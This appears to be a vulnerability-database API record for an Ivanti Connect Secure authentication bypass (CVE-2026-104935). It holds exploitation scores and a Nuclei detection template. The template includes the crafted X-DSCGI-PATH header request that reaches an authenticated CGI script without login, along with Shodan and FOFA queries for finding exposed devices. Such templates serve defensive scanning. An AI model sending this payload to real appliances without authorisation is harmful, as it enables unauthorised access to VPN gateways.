{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-104935/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-104935/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-104935/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-104935/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-104935/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-104935/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-104935"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-104935"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.86766,
      "kev": true,
      "percentile": 0.99742
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-104935.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-104935\n\ninfo:\n  name: Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header\n  author: volexity,DhiyaneshDk\n  severity: critical\n  description: |\n    Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.\n  impact: |\n    An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.\n  remediation: |\n    Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.\n  reference:\n    - https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/\n    - https://forums.ivanti.com\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-104935\n    epss-score: 0.88936\n    epss-percentile: 0.99778\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ivanti\n    product: connect_secure\n    shodan-query: html:\"/dana-na/auth/\"\n    fofa-query: body=\"/dana-na/auth/\"\n  tags: cve,cve2026,ivanti,ics,vpn,auth-bypass,vkev,kev\n\nflow: |\n  if (http(1)) {\n    if (template[\"welcome_path\"] == \"\") {\n      template[\"welcome_path\"] = \"/dana-na/auth/url_default/welcome.cgi\";\n    }\n    http(2);\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"welcome.cgi\", \"Ivanti Connect Secure\", \"Pulse Secure\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: welcome_path\n        internal: true\n        group: 1\n        part: all\n        regex:\n          - '(/dana-na/auth/url_[^/\\s\"''<>]+/welcome\\.cgi)'\n\n  - raw:\n      - |\n        GET {{welcome_path}} HTTP/1.1\n        Host: {{Hostname}}\n        X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"upload file\", \"Browse buttons\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100b9b1f089707bb0cc7e6322a33f4eef3c1c1fbaa6c69f0bcf162e10497a8f6afd022100c13bb397deae774cac6a6a160e055c4898cf8181ae69e66a1ab55267951be59f:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-104935"
}